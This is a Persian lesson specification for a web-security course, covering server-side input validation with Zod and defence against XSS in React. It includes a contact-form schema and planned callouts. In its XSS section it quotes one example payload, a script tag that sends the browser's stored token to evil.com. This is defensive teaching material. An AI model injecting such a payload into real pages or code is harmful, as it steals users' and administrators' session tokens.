vibe-coding-college-specs/chapters/11-security-and-best-practices/04-lesson-input-validation-and-xss-defense/spec.md

مشخصات درس‌نامه: اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS

• شناسه در سیلابس: L11.5
• فصل: فصل ۱۱: امنیت و استفاده مسئولانه (Ch 11)
• نوع محتوا: 📘 درس‌نامه متنی
• زمان تقریبی مطالعه: ۱۸ دقیقه
• پیش‌نیازهای مستقیم: L11.4 (احراز هویت و کنترل دسترسی)

---

۱. اهداف یادگیری (Learning Objectives - Bloom's Taxonomy)

دانشجو پس از مطالعهٔ این درس‌نامه باید بتواند:

• درک کند (Understand): قانون طلایی امنیت «هرگز به ورودی‌های کاربر اعتماد نکن» (Never Trust User Input) را تحلیل کرده و چرایی ناکافی بودن اعتبارسنجی سمت کاربر را درک کند.
• تحلیل/ارزیابی کند (Evaluate): نحوه عملکرد حملات تزریق اسکریپت (Cross-Site Scripting - XSS) و تفاوت فرار خودکار کاراکترها در React را با خطرات ویژگی مرگبار dangerouslySetInnerHTML ارزیابی کند.
• به‌کار ببندد (Apply): کتابخانه استاندارد Zod را برای اعتبارسنجی ساختارمند فرم‌های پورتفولیو (فرم تماس، فرم رزرو مشاوره و فرم تنظیمات سئو) در لایه سرور پیاده‌سازی نماید.
• ایجاد کند (Create): یک اسکیمای جامع Zod بسازد که خطاهای ورودی را به زبان فارسی روان استخراج کرده و به کلاینت بازگرداند تا هم تجربه کاربری عالی و هم امنیت تضمین شود.

---

۲. محدوده و مرزهای محتوا (Scope & Boundaries)

آنچه باید پوشش داده شود (In-Scope):

1. قانون بنیادین امنیت وب: «تمام کاربران مشکوک هستند مگر خلافش ثابت شود!»:
   • چرا حتی یک فرم ساده تماس می‌تواند با ورودی‌های چند مگابایتی یا کدهای جاوااسکریپت مخرب، سیستم را فلج کند؟
2. کالبدشکافی اعتبارسنجی دوگانه (Dual-layer Validation):
   • اعتبارسنجی فرانت‌اند: صرفاً برای تجربه کاربری نرم (UX) و جلوگیری از کلیک‌های بیهوده.
   • اعتبارسنجی بک‌اند (سرور اکشن): سد نفوذناپذیر واقعی؛ چون هر کسی می‌تواند بدون باز کردن سایت، با دستور cURL دیتا بفرستد.
3. معرفی کتابخانه مقتدر Zod در TypeScript:
   • تعریف اسکیما (Schema) برای فرم تماس:

     import { z } from "zod";
     export const ContactSchema = z.object({
       name: z.string().min(2, "نام باید حداقل ۲ حرف باشد").max(50),
       email: z.string().email("فرمت ایمیل نامعتبر است"),
       phone: z.string().regex(/^09\d{9}$/, "شماره موبایل باید با ۰۹ شروع شده و ۱۱ رقم باشد"),
       message: z.string().min(10, "پیام باید حداقل ۱۰ کاراکتر باشد").max(1000),
     });
     

   • استفاده از safeParse() در Server Action برای مدیریت تمیز خطاها بدون کرش کردن سرور.
4. کالبدشکافی حملات XSS (Cross-Site Scripting):
   • حمله چیست؟ نفوذگر در فیلد پیام می‌نویسد: <script>fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))</script>.
   • اگر این پیام در پنل ادمین بدون ضدعفونی رندر شود، توکن ادمین در یک میلی‌ثانیه سرقت می‌شود!
5. سپر دفاعی React در برابر XSS:
   • چگونه React به صورت خودکار کاراکترهای خطرناک مانند < و > را به کاراکترهای بی‌خطر متنی (Entity Escaping) تبدیل می‌کند.
   • چرا ویژگی dangerouslySetInnerHTML نام «خطرناک» را یدک می‌کشد و چه زمانی باید از DOMPurify استفاده کرد.
6. دستورات چندسکویی برای نصب Zod:
   • نصب در منوهای کشویی ویندوز، مک و لینوکس: npm install zod.
7. کال‌اوت‌های آموزشی و هشدار کوئرا:
   • کال‌اوت بنفش (<details class="violet">): استخراج خودکار تایپ‌های تایپ‌اسکریپت از اسکیما با z.infer<typeof Schema> (همگام‌سازی ابدی کد و اعتبارسنجی).
   • کال‌اوت سبز (<details class="green">): اعتبارسنجی یکپارچه با نمایش پیام‌های خطای فارسی درست زیر فیلدها.
   • کال‌اوت قرمز (<details class="red">): هرگز متنی را که کاربر فرستاده مستقیماً داخل تابع eval() یا ویژگی dangerouslySetInnerHTML قرار ندهید.

آنچه نباید وارد آن شویم (Out-of-Scope):

• مباحث پیچیده Content Security Policy (CSP) در لایه وب‌سرورهای Nginx.
• اعتبارسنجی فرمت فایل‌های باینری و تصاویر (در درس بعدی، ۱۱.۶، به صورت عمیق بررسی می‌شود).

---

۳. مفاهیم کلیدی و کلمات تخصصی (Key Concepts & Terms)

اصطلاح انگلیسی	معادل فارسی مصوب	توضیح یک‌خطی ساده
Input Validation	اعتبارسنجی ورودی‌ها	سنجش انطباق داده‌های ارسالی کاربر با فرمت، طول و قوانین امنیتی از پیش تعیین‌شده
XSS (Cross-Site Scripting)	اسکریپت‌نویسی بین‌سایتی	حمله سایبری ناشی از تزریق کدهای جاوااسکریپت خرابکار به صفحات و اجرای آن در مرورگر سایر کاربران
Zod	کتابخانه اسکیمای زد	ابزار محبوب ساخت و اعتبارسنجی تایپ‌سیف اسکیمای داده‌ها در محیط تایپ‌اسکریپت
Sanitization	ضدعفونی داده‌ها	پاک‌سازی تگ‌ها و کاراکترهای بالقوه خطرناک از متن ورودی پیش از ذخیره در دیتابیس
Character Escaping	فرار کاراکترها	تبدیل خودکار نمادهای معنادار HTML (مانند < و >) به کدهای نمایشی متنی برای خنثی‌سازی اسکریپت‌ها
Stored XSS	اسکریپت‌نویسی ماندگار	خطرناک‌ترین نوع XSS که در آن کد مخرب در دیتابیس ذخیره شده و برای تمام بازدیدکنندگان بعدی اجرا می‌شود

---

۴. جایگاه‌های تصاویر و نمودارها (Visual & Diagram Placeholders)

راهنمای ایجنت نویسنده: تمام تصاویر باید در پوشهٔ images/ ذخیره شده و در جدول تک‌خانه‌ای وسط‌چین درج شوند:

1. تصویر کاور درس: images/cover.png
   • موضوع: فیلتر تصفیه نئونی درخشان که ورودی‌های فرم را اسکن کرده و نمادهای اسکریپت و بدافزار قرمز را به کلمات سبز و ایمن تبدیل می‌کند.
2. سازوکار حمله Stored XSS در پنل ادمین: images/stored-xss-attack-flow.png
   • موضوع: اینفوگرافیک حمله: نفوذگر کد جاوااسکریپت تزریق می‌کند \rightarrow در دیتابیس ذخیره می‌شود \rightarrow ادمین پیام را باز می‌کند \rightarrow اسکریپت در مرورگر ادمین اجرا شده و کوکی را سرقت می‌کند.
3. معماری اعتبارسنجی لایه سرور با Zod: images/zod-validation-flow.png
   • موضوع: فلوچارت: دریافت دیتا \rightarrow ارزیابی با اسکیما \rightarrow در صورت خطا: بازگشت پیام فارسی \rightarrow در صورت تایید: اجرای اکشن و ذخیره امن.
4. نمایش پیام‌های خطای اعتبارسنجی فارسی در فرم: images/persian-zod-error-feedback-ui.png
   • موضوع: اسکرین‌شات از فرم تماس با حاشیه‌های قرمز زیبا و هشدارهای دقیق فارسی زیر هر اینپوت.

---

۵. بخش‌بندی و ساختار محتوایی پیشنهادی درس‌نامه (README.md)

1. تیتر اصلی: # اعتبارسنجی همه‌جانبه ورودی‌ها با Zod و مقابله با حملات XSS
2. مقدمه: اگر به آب لوله‌کشی شهر بدون تصفیه‌خانه اعتماد ندارید، چرا باید به ورودی‌های کیبورد غریبه‌ها در اینترنت اعتماد کنید؟
3. جدول کاور درس
4. استعاره گیت بازرسی فرودگاه:
   • بازرسی اشعه ایکس چمدان‌ها قبل از ورود به هواپیما؛ حذف سلاح‌ها و مواد اشتعال‌زا (کدهای مخرب).
5. کالبدشکافی یک حمله واقعی XSS در پروژه پورتفولیو:
   • نوشتن تگ <script> در پیام کارفرما و سناریوی سرقت توکن احراز هویت ادمین.
6. سلاح شماره یک: اعتبارسنجی تایپ‌سیف با Zod:
   • ساخت فایل lib/validations.ts.
   • تعریف اسکیمای فرم تماس، رزرو و تنظیمات سئو.
7. پیاده‌سازی در Server Action با تابع safeParse:
   • کد نمونه تمیز و تفکیک‌شده برای بررسی داده‌ها پیش از ارسال به Supabase یا کاوه‌نگار.
8. جعبه پرامپت طلایی: امن‌سازی تمام فرم‌ها با Zod توسط ایجنت:
   • پرامپت دقیق:

     «من کتابخانه Zod را نصب کرده‌ام. لطفاً برای تمام فرم‌های پروژه من (فرم تماس، رزرو مشاوره و ویرایش پروژه در ادمین) اسکیمای اعتبارسنجی دقیق بنویس. فیلدهای متن باید حداقل و حداکثر طول داشته باشند، شماره موبایل با رجکس بررسی شود و خطاهای نامعتبر بودن به زبان فارسی روان برگردانده شوند. سپس این اسکیما را در Server Action مربوطه اعمال کن.»

9. دستورات چندسکویی نصب Zod:
   • منوی کشویی سه‌گانه برای ویندوز، مک و لینوکس:
     • Windows (PowerShell):

       npm install zod
       

     • macOS (Terminal):

       npm install zod
       

     • Linux (Bash):

       npm install zod
       

10. باکس نکته Quera (<details class="violet">): جادوی z.infer؛ چگونه یک بار نوشتن اسکیما، تایپ‌های تایپ‌اسکریپت را همزمان در سرتاسر پروژه تضمین می‌کند.
11. باکس هشدار Quera (<details class="red">): استفاده از dangerouslySetInnerHTML در فریم‌ورک‌های مدرن باید به موارد فوق‌العاده نادر محدود شده و حتماً با پکیج DOMPurify خنثی شود.
12. باکس رضایت‌بخش Quera (<details class="green">): وارد کردن کدهای عجیب و غریب در فرم و دیدن آرامش‌بخش پیام خطای قرمز فارسی و متوقف شدن حمله در پشت دروازه Zod.
13. جمع‌بندی درس‌نامه: مجهز شدن به سیستم دفاعی اسکیمای ورودی؛ ورود به مبحث حساس امنیت دیتابیس و اعتبارسنجی آپلود فایل‌ها در درس بعدی.

---

۶. معیارهای پذیرش (Acceptance Criteria for Reviewer)

• چرایی اعتبارسنجی سمت سرور و خطرات عدم اعتبارسنجی تبیین شود.
• مکانیزم حمله XSS و تفاوت فرار خودکار React با ویژگی‌های خطرناک تشریح گردد.
• نحوه استفاده کاربردی از کتابخانه Zod به همراه اسکیمای فرم تماس و پیام‌های خطای فارسی ارائه شود.
• دستورات نصب پکیج در تب‌های چندسکویی ویندوز، مک و لینوکس درج شده باشد.